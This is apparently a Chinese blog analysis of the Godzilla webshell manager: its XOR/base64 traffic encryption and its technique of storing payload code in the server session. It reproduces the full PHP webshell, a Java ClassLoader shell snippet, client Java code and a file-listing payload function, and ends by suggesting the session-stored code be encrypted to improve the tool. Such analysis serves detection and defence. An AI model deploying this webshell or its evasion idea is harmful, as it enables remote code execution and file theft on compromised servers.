哥斯拉分析
https://github.com/BeichenDream/Godzilla
流量加密分析
随便找一个功能按钮进去跟一下,发现流量加密的逻辑都在
这三种加密的思路都是类似的,这里以php(base64.bin)为例进行分析
要使用哥斯拉需要上传这个脚本
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='{pass}';
$V='payload';
$T='{secretKey}';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
PhpXor记录了初始化的方法:
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + new String(this.key));
this.findStrLeft = findStrMd5.substring(0, 16);
this.findStrRight = findStrMd5.substring(16);
try {
this.payload = this.shell.getPayloadModel().getPayload();//获取payloads目录下的payload.php
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
} else {
Log.error("payload Is Null");
}
} catch (Exception var4) {
Log.error(var4);
}
}
加密的方式很简单,将要传输数据base64encode后与密钥(key)进行异或得到的二进制数据再base64encode
在进入shell管理界面的时候,会进行一次初始化,将功能代码注入到session中,而不是类似其他产品将功能代码写在请求体中
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);//payload.php
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);//执行payload.php中的代码
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
在java中也是将代码注入到session中
相关代码如下:
class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}
if (session.getAttribute("payload")==null){
session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));//将代码注入到session中
}else{
request.setAttribute("parameters", new String(data));
Object f=((Class)session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getOutputStream().write(x(base64Decode(f.toString()), true));
}
功能代码分析
和流量加密相同,php,c#,java中实现文件/数据库管理,命令执行等功能的思路是类似的
将功能代码保存到session中,在调用对应的函数
还是以php为例
@PayloadAnnotation(
Name = "PhpDynamicPayload"
)
public class PhpShell implements Payload {
private static final String BASICINFO_REGEX = "(FileRoot|CurrentDir|OsInfo|CurrentUser) : (.+)";
private static final String[] ALL_DATABASE_TYPE = new String[]{"mysql", "oracle", "sqlserver", "postgresql"};
private ShellEntity shell;
private Http http;
private Encoding encoding;
private String fileRoot;
private String currentDir;
private String currentUser;
private String osInfo;
private String basicsInfo;
public PhpShell() {
}
public void init(ShellEntity shellContext) {
this.shell = shellContext;
this.http = this.shell.getHttp();
this.encoding = Encoding.getEncoding(this.shell);
}
public String getFile(String filePath) {
filePath = functions.formatDir(filePath);
ReqParameter parameters = new ReqParameter();
parameters.add("dirName", this.encoding.Encoding(filePath.length() > 0 ? filePath : " "));
return this.encoding.Decoding(this.evalFunc((String)null, "getFile", parameters));
}
......一堆类似的代码
public byte[] evalFunc(String className, String funcName, ReqParameter praameter) {
if (className != null && className.trim().length() > 0) {
praameter.add("codeName", className);
}
praameter.add("methodName", funcName);
byte[] data = praameter.format().getBytes();
return this.http.sendHttpResponse(data).getResult();
}
}
调用了evalFunc还有添加参数
evalFunc还是在添加参数,
相关的逻辑都被封装保存在了session当中
payload.php
...
function getFile(){
$dir=get('dirName');
$dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
$dir.="/";
$path=$dir;
$allFiles = @scandir($path);
$data="";
if ($allFiles!=null){
$data.="ok";
$data.="\n";
$data.=$path;
$data.="\n";
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
$fullPath = $path.$fileName;
$lineData=array();
array_push($lineData,$fileName);
array_push($lineData,@is_file($fullPath)?"1":"0");
array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
array_push($lineData,@filesize($fullPath));
$fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
array_push($lineData,(strlen($fr)>0?$fr:"F"));
$data.=(implode("\t",$lineData)."\n");
}
}
}else{
return "Path Not Found Or No Permission!";
}
return $data;
}
...
插件中也是使用类似的思路
总结
加密流量+功能代码保存在session中是哥斯拉主要的思路,个人觉得可以改进的地方是,php保存在session中的代码可以加密一下